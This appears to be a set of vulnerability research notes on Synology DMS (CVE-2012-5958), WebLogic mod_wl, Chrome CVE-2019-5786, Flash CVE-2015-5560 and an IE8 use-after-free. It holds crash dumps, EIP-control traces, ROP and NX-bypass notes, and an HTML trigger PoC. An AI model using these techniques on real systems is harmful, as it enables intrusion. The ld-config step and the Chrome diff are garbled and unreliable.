.got.plt:080BA554                                         ; MediaServer::FileGetPathBaseName(std::string  const&)
.got.plt:080BA558 off_80BA558     dd offset __strtoul_internal
.got.plt:080BA558                                         ; DATA XREF: ___strtoul_internalr
.got.plt:080BA55C off_80BA55C     dd offset UpnpSetMaxContentLength
.got.plt:080BA55C                                         ; DATA XREF: _UpnpSetMaxContentLengthr
.got.plt:080BA560 off_80BA560     dd offset _ZN11MediaServer7MediaDB14FetchMediaItemER21__tag_SYNO_MEDIA_INFO
.got.plt:080BA560                                         ; DATA XREF: MediaServer::MediaDB::FetchMediaItem(__tag_SYNO_MEDIA_INFO &)r
.got.plt:080BA560                                         ; MediaServer::MediaDB::FetchMediaItem(__tag_SYNO_MEDIA_INFO &)
.got.plt:080BA564 off_80BA564     dd offset _ZNKSs5rfindEcj
.got.plt:080BA564                                         ; DATA XREF: std::string::rfind(char,uint)r
.got.plt:080BA564                                         ; std::string::rfind(char,uint)
.got.plt:080BA568 off_80BA568     dd offset SYNOPlaylistRecFree
.got.plt:080BA568                                         ; DATA XREF: _SYNOPlaylistRecFreer
.got.plt:080BA56C off_80BA56C     dd offset pthread_mutex_unlock
.got.plt:080BA56C                                         ; DATA XREF: _pthread_mutex_unlockr
.got.plt:080BA570 off_80BA570     dd offset ixmlDocument_getElementsByTagName
.got.plt:080BA570                                         ; DATA XREF: _ixmlDocument_getElementsByTagNamer
.got.plt:080BA574 off_80BA574     dd offset _ZN11MediaServer7MediaDB6SelectERKSsS2_iiS2_
.got.plt:080BA574                                         ; DATA XREF: MediaServer::MediaDB::Select(std::string  const&,std::string  const&,int,int,std::string  const&)r
.got.plt:080BA574                                         ; MediaServer::MediaDB::Select(std::string  const&,std::string  const&,int,int,std::string  const&)
.got.plt:080BA578 off_80BA578     dd offset ixmlNodeList_free
.got.plt:080BA578                                         ; DATA XREF: _ixmlNodeList_freer
.got.plt:080BA57C off_80BA57C     dd offset __cxa_throw   ; DATA XREF: ___cxa_throwr
.got.plt:080BA580 off_80BA580     dd offset _ZN4Json5ValueixEPKc
.got.plt:080BA580                                         ; DATA XREF: Json::Value::operator[](char  const*)r
.got.plt:080BA580                                         ; Json::Value::operator[](char  const*)
.got.plt:080BA584 off_80BA584     dd offset printfPQExpBuffer
.got.plt:080BA584                                         ; DATA XREF: _printfPQExpBufferr
.got.plt:080BA588 off_80BA588     dd offset UpnpAddVirtualDir
.got.plt:080BA588                                         ; DATA XREF: _UpnpAddVirtualDirr
.got.plt:080BA58C off_80BA58C     dd offset _ZN11MediaServer13DMSClientList7FindKeyERKSsS2_
.got.plt:080BA58C                                         ; DATA XREF: MediaServer::DMSClientList::FindKey(std::string  const&,std::string  const&)r
.got.plt:080BA58C                                         ; MediaServer::DMSClientList::FindKey(std::string  const&,std::string  const&)
.got.plt:080BA590 off_80BA590     dd offset _ZN11MediaServer7MediaDBC1E21_tag_MEDIA_TABLE_TYPEP13DBConnect_tag
.got.plt:080BA590                                         ; DATA XREF: MediaServer::MediaDB::MediaDB(_tag_MEDIA_TABLE_TYPE,DBConnect_tag *)r
.got.plt:080BA590                                         ; MediaServer::MediaDB::MediaDB(_tag_MEDIA_TABLE_TYPE,DBConnect_tag *)
.got.plt:080BA594 off_80BA594     dd offset _ZN11MediaServer16DMSClientChecker17ReleaseClientListEv
.got.plt:080BA594                                         ; DATA XREF: MediaServer::DMSClientChecker::ReleaseClientList(void)r
.got.plt:080BA594                                         ; MediaServer::DMSClientChecker::ReleaseClientList(void)
.got.plt:080BA598 off_80BA598     dd offset _ZN4Json18StyledStreamWriter5writeERSoRKNS_5ValueE
.got.plt:080BA598                                         ; DATA XREF: Json::StyledStreamWriter::write(std::ostream &,Json::Value  const&)r
.got.plt:080BA598                                         ; Json::StyledStreamWriter::write(std::ostream &,Json::Value  const&)
.got.plt:080BA59C off_80BA59C     dd offset _ZN11MediaServer13StringImplodeERKSt6vectorISsSaISsEEPKc
.got.plt:080BA59C                                         ; DATA XREF: MediaServer::StringImplode(std::vector<std::string,std::allocator<std::string>>  const&,char  const*)r
.got.plt:080BA59C                                         ; MediaServer::StringImplode(std::vector<std::string,std::allocator<std::string>>  const&,char  const*)
.got.plt:080BA5A0 off_80BA5A0     dd offset __gxx_personality_v0
.got.plt:080BA5A0                                         ; DATA XREF: .plt:___gxx_personality_v0r
.got.plt:080BA5A4 off_80BA5A4     dd offset pcre_free_substring_list
.got.plt:080BA5A4                                         ; DATA XREF: _pcre_free_substring_listr
.got.plt:080BA5A8 off_80BA5A8     dd offset pcre_exec     ; DATA XREF: _pcre_execr
.got.plt:080BA5AC off_80BA5AC     dd offset UpnpDownloadXmlDoc
.got.plt:080BA5AC                                         ; DATA XREF: _UpnpDownloadXmlDocr
.got.plt:080BA5B0 off_80BA5B0     dd offset read          ; DATA XREF: _readr
.got.plt:080BA5B4 off_80BA5B4     dd offset UpnpGetServerIpAddress
.got.plt:080BA5B4                                         ; DATA XREF: _UpnpGetServerIpAddressr
.got.plt:080BA5B8 off_80BA5B8     dd offset SLIBCErrGet   ; DATA XREF: _SLIBCErrGetr
.got.plt:080BA5BC off_80BA5BC     dd offset _ZdlPv        ; DATA XREF: operator delete(void *)r
.got.plt:080BA5BC                                         ; operator delete(void *)
.got.plt:080BA5C0 off_80BA5C0     dd offset _ZNSt8ios_base4InitD1Ev
.got.plt:080BA5C0                                         ; DATA XREF: sub_804D8E6:std::ios_base::Init::~Init()r
.got.plt:080BA5C0                                         ; std::ios_base::Init::~Init()
.got.plt:080BA5C4 off_80BA5C4     dd offset ParsePlayListByField
.got.plt:080BA5C4                                         ; DATA XREF: _ParsePlayListByFieldr
.got.plt:080BA5C4 _got_plt        ends
.got.plt:080BA5C4
  • Weird… maybe with other executables…

  • When exploiting cve-2012-5958 with x86 / ubuntu 10.04 compilation to simulate the DSM
    environment its the register situation at overflow time:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb5fb6b70 (LWP 6628)]
0x00414141 in ?? ()
(gdb) info registers
eax            0x0	0
ecx            0xb5fb59e0	-1241818656
edx            0x0	0
ebx            0x42424242	1111638594
esp            0xb5fb5c30	0xb5fb5c30
ebp            0x42424242	0x42424242
esi            0x42424242	1111638594
edi            0x42424242	1111638594
eip            0x414141	0x414141
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

ESP pointint to

(gdb) x/xw $esp
0xb5fb5c30:	0x09170ad8

(gdb) x/s 0x09170ad8
0x9170ad8:	 "uuid:schemas:device:", 'B' <repeats 180 times>...

The contents contained at the pointer at esp can be easily controlled by doing something like

"ST:MSF1uuid:schemas:device:#{bof}:btw\r\n" +

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb5f0fb70 (LWP 6729)]
0x00414141 in ?? ()
(gdb) x/x $esp
0xb5f0ec30:	0x09e97918
(gdb) x/s 0x09e97918
0x9e97918:	 "MSF1uuid:schemas:device:", 'B' <repeats 176 times>...
  • If ASLR is disabled / unsupported (old kernels) and system() is mapped to a compatible address with goodchars,
    it could be used to NX bypass.

  • If ASLR is disabled and system isn’t mapped to a compatible addresses, maybe wrappers can be found, for example, for the
    case of the DMS Media Server, slibcsystem() (and other interesting wrappers for libc) are exported by libsynocore.so.3.1…..
    but no luck when executing it into an Ubuntu 10.04 box (I guess mappings will be different on the original box, anyway in
    the original box aslr is enabled):

(gdb) disass 0x37d000 + 0x10EBC

Dump of assembler code for function SLIBCSystem:
   0x0038debc <+0>:	push   %ebp
   0x0038debd <+1>:	mov    %esp,%ebp
   0x0038debf <+3>:	push   %ebx
  • In order to run dms on an Ubuntu 10.04 box (easy way), just use the next ld config file:
(gdb) disass 0x37d000 + 0x10EBC

Dump of assembler code for function SLIBCSystem:
   0x0038debc <+0>:	push   %ebp
   0x0038debd <+1>:	mov    %esp,%ebp
   0x0038debf <+3>:	push   %ebx

and run ldconfig

ROPeMe> generate /home/juan/DSM_40_X64_MediaServer/sbin/dms 5
Generating gadgets for /home/juan/DSM_40_X64_MediaServer/sbin/dms with backward depth=5
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 2492 gadgets
Dumping asm gadgets to file: dms.ggt ...
OK

(Using dms because is no PIE compatible)

1
Technical Analysis

Details

Bea Weblogic 8.1 + Apache
http://docs.oracle.com/cd/E13222_01/wls/docs81/plugins/apache.html

First crash

(328.c38): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\RPCRT4.dll -
*** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so -
eax=00000045 ebx=006a5d58 ecx=43434343 edx=7c90e4f4 esi=10013932 edi=000000a8
eip=77ea4126 esp=0280d7ec ebp=0280e818 iopl=0         ov up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a03
RPCRT4!NdrVaryingArrayUnmarshall+0x81:
77ea4126 008945107416    add     byte ptr [ecx+16741045h],cl ds:0023:59b75388=??
0:132> .symfix
0:132> .reload
Reloading current modules
.............................................
*** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so -
0:132> kb
ChildEBP RetAddr  Args to Child
0280e818 10001a8a 006a5d58 006b8ce0 0280fa38 RPCRT4!NdrVaryingArrayUnmarshall+0x82
*** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll -
WARNING: Stack unwind information not available. Following frames may be wrong.
0280fef4 6ff0155f 006a5d58 006a1e28 006a5d58 mod_wl_20+0x1a8a
0280ff08 6ff018a9 006a5d58 006a5d58 00000000 libhttpd!ap_run_handler+0x1f
0280ff18 6ff0d97c 006a5d58 006a5d58 6ff097c6 libhttpd!ap_invoke_handler+0xa9
00000000 00000000 00000000 00000000 00000000 libhttpd!ap_die+0x23c

More controlled crash: length 4100

ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0440d7d4 41414141 54544820 2e312f50 000a0d31 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\modules\mod_wl_20.so -
0440e818 10001a8a 006a9388 0069cb20 0440fa38 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Apache Group\Apache2\bin\libhttpd.dll -
0440fef4 6ff0155f 006a9388 0068dcf8 006a9388 mod_wl_20+0x1a8a
0440ff08 6ff018a9 006a9388 006a9388 00000000 libhttpd!ap_run_handler+0x1f
0440ff18 6ff0d97c 006a9388 006a9388 6ff097c6 libhttpd!ap_invoke_handler+0xa9
00000000 00000000 00000000 00000000 00000000 libhttpd!ap_die+0x23c

mod_wl detection via nessus

weblogic_mod_wl_overflow.nasl: “TITLE>Weblogic Bridge Message” >< res[2] ||

POST /index.jsp  HTTP/1.1
Host: 192.168.1.130
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: -1

TML>
<HEAD>
<TITLE>Weblogic Bridge Message
</TITLE>
</HEAD>
 <BODY>
<H2>Failure of server APACHE bridge:</H2><P>
<hr><PRE>Internal Server failure, APACHE plugin.  Cannot continue.</PRE>
<hr><BR><B>Build date/time:</B> <I>Jun 16 2006 15:14:11</I>
<P><HR><B>Change Number:</B> <I>779586</I>
 </BODY>
</HTML>
<HTML>
<HEAD>
<TITLE>Weblogic Bridge Message

mod_wl overflow

.text:1000E751                 push    ecx             ; it should be HTTP/1.1 but.... failed :)
.text:1000E752                 push    edx
.text:1000E753                 mov     edx, [ebp+214h]
.text:1000E759                 push    edx
.text:1000E75A                 push    offset aSSS     ; "%s %s %s\r\n"
.text:1000E75F                 push    eax             ; Dest
.text:1000E760                 call    ds:sprintf      ; here is where overflow happends!

GET EIP on RET

0:244> p
eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38
eip=1000edeb esp=0440c7b8 ebp=0440e818 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mod_wl_20+0xedeb:
1000edeb 81c41c100000    add     esp,101Ch
0:244> db esp
0440c7b8  1f 00 00 00 16 00 00 00-00 00 00 00 4a 01 00 00  ............J...
0440c7c8  48 6f 73 74 3a 20 31 39-32 2e 31 36 38 2e 31 2e  Host: 192.168.1.
0440c7d8  31 33 30 0d 0a 55 73 65-72 2d 41 67 65 6e 74 3a  130..User-Agent:
0440c7e8  20 4d 6f 7a 69 6c 6c 61-2f 34 2e 30 20 28 63 6f   Mozilla/4.0 (co
0440c7f8  6d 70 61 74 69 62 6c 65-3b 20 4d 53 49 45 20 36  mpatible; MSIE 6
0440c808  2e 30 3b 20 57 69 6e 64-6f 77 73 20 4e 54 20 35  .0; Windows NT 5
0440c818  2e 31 29 0d 0a 43 6f 6e-74 65 6e 74 2d 54 79 70  .1)..Content-Typ
0440c828  65 3a 20 61 70 70 6c 69-63 61 74 69 6f 6e 2f 78  e: application/x
0:244> p
eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38
eip=1000edf1 esp=0440d7d4 ebp=0440e818 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
mod_wl_20+0xedf1:
1000edf1 c3              ret
0:244> db esp
0440d7d4  41 41 41 41 41 41 41 41-01 02 03 04 05 06 07 08  AAAAAAAA........
0440d7e4  09 0b 0c 0e 0f 10 11 12-13 14 15 16 17 18 19 1a  ................
0440d7f4  1b 1c 1d 1e 1f 20 21 22-23 24 25 26 27 28 29 2a  ..... !"#$%&'()*
0440d804  2b 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a  +,-./0123456789:
0440d814  3b 3c 3d 3e 40 41 42 43-44 45 46 47 48 49 4a 4b  ;<=>@ABCDEFGHIJK
0440d824  4c 4d 4e 4f 50 51 52 53-54 55 56 57 58 59 5a 5b  LMNOPQRSTUVWXYZ[
0440d834  5c 5d 5e 5f 60 61 62 63-64 65 66 67 68 69 6a 6b  \]^_`abcdefghijk
0440d844  6c 6d 6e 6f 70 71 72 73-74 75 76 77 78 79 7a 7b  lmnopqrstuvwxyz{
0:244> t
eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38
eip=41414141 esp=0440d7d8 ebp=0440e818 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
41414141 ??              ???

References

http://www.securityfocus.com/bid/30273/info

1
Technical Analysis

a/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
+++ b/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
@@ -143,14 +143,16 @@ DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
if (!rawdata || errorcode != FileErrorCode::kOK)

 return nullptr;
  • DOMArrayBuffer* result = DOMArrayBuffer::Create(rawdata–>ToArrayBuffer());
  • if (finishedloading) {
  • array_bufferresult = result;
  • AdjustReportedMemoryUsageToV8(
  • -1 * static_cast<int64_t>(rawdata–>ByteLength()));
  • rawdata.reset();
  • if (!finishedloading) {
  • return DOMArrayBuffer::Create(
  • ArrayBuffer::Create(rawdata–>Data(), rawdata–>ByteLength()));
    }
  • return result;
    +
  • array_bufferresult = DOMArrayBuffer::Create(rawdata–>ToArrayBuffer());
  • AdjustReportedMemoryUsageToV8(-1 *
  • static_cast<int64_t>(rawdata–>ByteLength()));
  • rawdata.reset();
  • return array_bufferresult;
    }

String FileReaderLoader::StringResult() {

#### Clue 1: readAsArrayBuffer

This patch provides a lot of insight about the user-after-free. The first thing that stands out is the patched method named `FileReaderLoader::ArrayBufferResult`, which clearly indicates the use of `readAsArrayBuffer` in the exploit.

#### Clue 2: The finished_loading_ condition

A major difference between patched vs unpatched is the `finished_loading_` check, which is a flag that is set when body is finished loading. In the vulnerable version, our method is always doing the following:

```cpp
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

In the patched version, it is doing:

  if (!finished_loading_) {
    return DOMArrayBuffer::Create(
        ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
  }

  array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());

The difference is that if loading isn’t finished, it will make sure to create a new ArrayBuffer (which increments the reference counter), instead of obtaining ownership of ArrayBuffer, and passing to MakeGarbageCollected:

static DOMArrayBuffer* Create(scoped_refptr<WTF::ArrayBuffer> buffer) {
  return MakeGarbageCollected<DOMArrayBuffer>(std::move(buffer));
}

Note: The ToArrayBuffer method always return the actual state of the ArrayBuffer asynchronously.

Clue 3: The Arbitrary free

Another clue comes from the comment in the commit, stating:

… multiple references to the same underlying ArrayBuffer.

This is rather hard to get, but Istvan Kurucsai from Exodus Intel found a great way to acheive that with JavaScript’s postMessage method:

targetWindow.postMessage(message, targetOrigin, [transfer]);

The transfer parameter is a sequence of Transferable objects that are transferred with the message. The ownership of these objects is given to the desitnation side and they are no longer usable on the sending side.

By doing so, we could pass multiple DOMArrayBuffers that refere to the same ArrayBuffer to a JS worker through postMessage in a onprogress event handler, for example:

// last = reader ArrayBuffer result
// lastlast = the previous result
worker.postMessage([last], [last, lastlast]);

This allows the first transfer to take ownership of its buffer, but the second transfer will fail because the ArrayBuffer has already been neutered. When this failure happens, this causes the transferred ArrayBuffer to be freed, while a reference still exists in the second DOMArrayBuffer.

Proof-of-Concept

Thanks to Istvan from Exodus, the community gets a clean proof-of-concept for testing purposes:

https://github.com/exodusintel/CVE-2019-5786

32-bit Windows 7

One of the reasons memory corruption bugs are much harder to exploit against Chrome is because the use of a custom memory allocator: ParitionAlloc. PartitionAlloc guarantees that different partitions exist in different regions of the process’ address space, it also prevents various scenarios of linear overflows, object allocations, deferences, pointer overwrite, gard pages for large allocations.

It seems one of the limitations with ParitionAlloc is that although it effectively separates our ArrayBuffer from other kinds of allocations, and that it will never reuse those allocations, the scenario only applies if the region that is freed is below 2MiB in size. It is more possible to successfully reclaim the freed region on a 32-bit platform, which explains why a 32-bit Windows 7 is a much more ideal target for Chrome.

1
Technical Analysis

Details

The decode_buffer_size is calculated this way in Flash:

decode_buffer_size = (encode_data_size  1) * 6 + 2

In asm:

.text:10024F13 loc_10024F13:                           ; CODE XREF: sub_10024C79+278j
.text:10024F13                 mov     eax, ebx
.text:10024F15                 imul    eax, 6
.text:10024F18                 add     eax, 2
.text:10024F1B                 cmp     [esi+28h], eax
.text:10024F1E                 mov     [ebp+var_20], eax
.text:10024F21                 jge     short loc_10024F4D

During decoding, the buffer can be reallocated:

int current_buffer_size

int decoded_buffer_size

if (current_buffer_size  < decoded_buffer_size) {

// reallocate the decode buffer

}

If the encode_data_size is larger than 0x2aaaaaab, it will cause an integer overflow in the
calculation of (encode_data_size –1) * 6 + 2

Patch for CVE-2015-5560

Version 18.0.0.232:

.text:10024E3E                 mov     eax, [ebp+var_14]
.text:10024E41                 imul    eax, 6
.text:10024E44                 inc     eax
.text:10024E45                 inc     eax
.text:10024E46                 cmp     eax, [ebp+var_14]
.text:10024E49                 jbe     loc_10024FB8
(encode_data_size * 6 + 2) >  encode_data_size

Note that it seems this patch can be bypassed, see CVE-2015-8446

1
Technical Analysis

PoC does not trigger for the following setups:

  • Win XP SP3 + IE7
  • Win 7 SP1 + IE9

PoC

<!DOCTYPE html>
<table>
    <tr>
        <div>
            <span>
                <q id='e'>
                    <a>
                        <td></td>
                    </a>
                </q>
            </span>
        </div>
    </tr>
</table>

<script>
window.onload = function(){
var x = document.getElementById('e');
x.outerHTML = '';
}
</script>
</html>

Current Summary

In IE8 standards mode, it’s possible to cause a use-after-free condition by first creating an
illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being
a sub table element. When the CPhraseElement’s outer content is reset by using either outerText
or outerHTML through an event handler, this triggers a free of its child element (in this case,
a CAnchorElement, but some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next
functions, eventually used in mshtml!CElement::Doc when it’s trying to make a call to the object’s
SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take
advantage of this by first creating an CAnchorElement object, let it free, and then replace the
freed memory with another fake object. Successfully doing so may allow arbitrary code execution
under the context of the user.

This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at
Hitcon 2013, but was silently patched in the July 2013 update (MS13-055).

DOM Tree

CBodyElement -> CTable -> CTableSection -> CTableRow -> CPhraseElement -> CAnchorElement -> CTableCell

Win XP SP3 + IE8

.text:63717B12 ; public: class ISpanQualifier * __thiscall SRunPointer::SpanQualifier(void)const
.text:63717B12 ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ proc near
...
text:63717B2D                 mov     eax, [eax+0Ch]

And then this return value is passed on to GetFancyFormat:

.text:6371DBC5                 call    ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void)
.text:6371DBCA                 call    ?GetFancyFormat@ISpanQualifier@@QAEPBVCFancyFormat@@_N@Z ; ISpanQualifier::GetFancyFormat(bool)
...

In GetFancyFormat, that return value is assigned to ESI:

.text:63717F1A                 mov     esi, eax
.text:63717F1C                 call    ?IsTreeNodeQualifier@ISpanQualifier@@QBE_NXZ ; ISpanQualifier::IsTreeNodeQualifier(void)

ESI will then get assigned to ECX – “this” in C++:

.text:63717F29                 mov     ecx, esi
.text:63717F2B                 call    ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)

You keep following ECX, eventually that leads to the crash.

0:008> dd ebx L30/4
06a20fb0  06a32f98 00000000 ffff0002 ffffffff
06a20fc0  00000011 00000000 00000000 00000000
06a20fd0  00000000 06a20fd8 00000012 00000000

vftable = 06a32f98
Ref counter = 0

0:008> !heap -p -a ebx
    address 06a20fb0 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 653d418:          6a20fb0               4c -          6a20000             2000
          ? <Unloaded_pi.dll>+6a32f97
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    636a9a94 mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141
    636a99d3 mshtml!CHtmRootParseCtx::EndElement+0x000000cb
    635a8ee4 mshtml!CHtmTextParseCtx::EndElement+0x0000006e
    635a71eb mshtml!CHtmParse::EndElement+0x0000007b
    6359f47c mshtml!CHtmParse::CloseContainer+0x000001c5
    635bf441 mshtml!CHtmParse::CloseAllContainers+0x00000026
    635a941d mshtml!CHtmParse::PrepareContainer+0x0000007f
    635a933f mshtml!CHtmParse::ParseBeginTag+0x00000028
    635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082
    635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237
    635a734c mshtml!CHtmPost::Exec+0x00000221
    635ac2b8 mshtml!CHtmPost::Run+0x00000015
    635ac21b mshtml!PostManExecute+0x000001fd
    635ac17e mshtml!PostManResume+0x000000f8
    635ac0e2 mshtml!CHtmPost::OnDwnChanCallback+0x00000010



0:008> !heap -p -a ecx
    address 06a32f98 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    653d6c0:          6a32000             2000
    7c927553 ntdll!RtlFreeHeap+0x000000f9
    637e06f2 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63625df6 mshtml!CElement::PrivateExitTree+0x00000011
    635c5ef1 mshtml!CMarkup::SpliceTreeInternal+0x00000083
    635c84e3 mshtml!CDoc::CutCopyMove+0x000000ca
    635c9264 mshtml!CDoc::Remove+0x00000018
    635c92e9 mshtml!RemoveWithBreakOnEmpty+0x0000003a
    63742f86 mshtml!CElement::InjectInternal+0x0000032a
    635c9415 mshtml!CElement::InjectCompatBSTR+0x00000046
    638bb56b mshtml!CElement::put_outerText+0x00000025
    6366906f mshtml!GS_BSTR+0x000001ab
    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1
    6366418a mshtml!CElement::ContextInvokeEx+0x0000009d
    6362b6ce mshtml!CInput::VersionedInvokeEx+0x0000002d
    63642eec mshtml!PlainInvokeEx+0x000000ea
.text:635C4A2E ; public: static long __stdcall CAnchorElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *)
.text:635C4A2E ?CreateElement@CAnchorElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near
.text:635C4A2E                                         ; DATA XREF: .text:6364B798o
.text:635C4A2E
.text:635C4A2E arg_4           = dword ptr  0Ch
.text:635C4A2E arg_8           = dword ptr  10h
.text:635C4A2E
.text:635C4A2E ; FUNCTION CHUNK AT .text:638589CC SIZE 0000000A BYTES
.text:635C4A2E
.text:635C4A2E                 mov     edi, edi
.text:635C4A30                 push    ebp
.text:635C4A31                 mov     ebp, esp
.text:635C4A33                 push    esi
.text:635C4A34                 push    edi
.text:635C4A35                 push    68h             ; dwBytes
.text:635C4A37                 push    8               ; dwFlags
.text:635C4A39                 push    _g_hProcessHeap ; hHeap
.text:635C4A3F                 xor     edi, edi
.text:635C4A41                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
0:008> r
eax=63aae200 ebx=06a20fb0 ecx=06a32f98 edx=00000000 esi=037cd1e0 edi=00000000
eip=6363fcc4 esp=037cd1b4 ebp=037cd1cc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6363fcc4 8b01            mov     eax,dword ptr [ecx]  ds:0023:06a32f98=????????

0:008> dds 63630788+0x70 L1
636307f8  6363fc94 mshtml!CElement::SecurityContext

0:008> k
ChildEBP RetAddr
037cd1b0 63602718 mshtml!CElement::Doc
037cd1cc 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
037cd478 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
037cd488 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
037cd498 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
037cd4a8 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35
037cd4b4 6371dbcf mshtml!ISpanQualifier::GetFancyFormat+0x5a
037cd4c0 6371db8f mshtml!SRunPointer::IsRelativeSpanEdge+0x3a
037cd4c8 637224a7 mshtml!SRunPointer::IsRelativeSpan+0x14
037cd4e8 63722412 mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d
037cd518 63723ccf mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d
037cd89c 63723c13 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90
037cd924 63723b48 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66
037cda10 6370e989 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203
037cdac8 6370e73e mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
037cde48 636ccc93 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349
037cdeec 636cca21 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x130
037ce408 6370c515 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad
037ce888 6370c515 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
037ced08 6370e989 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6

Win 7 SP0 + IE8

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
....
0:012> g
....
(c20.274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6b105100 ebx=08a7ffb0 ecx=08f0ff98 edx=00000000 esi=043fcf78 edi=00000000
eip=6ad8c400 esp=043fcf4c ebp=043fcf64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6ad8c400 8b01            mov     eax,dword ptr [ecx]  ds:0023:08f0ff98=????????
0:005> u
mshtml!CElement::Doc:
6ad8c400 8b01            mov     eax,dword ptr [ecx]
6ad8c402 8b5070          mov     edx,dword ptr [eax+70h]
6ad8c405 ffd2            call    edx
6ad8c407 8b400c          mov     eax,dword ptr [eax+0Ch]
6ad8c40a c3              ret
6ad8c40b 33c0            xor     eax,eax
6ad8c40d e9f7aeffff      jmp     mshtml!CAttrArray::PrivateFind+0x8f (6ad87309)
6ad8c412 90              nop
0:005> k
ChildEBP RetAddr
043fcf48 6adb5961 mshtml!CElement::Doc
043fcf64 6adb586d mshtml!CTreeNode::ComputeFormats+0xba
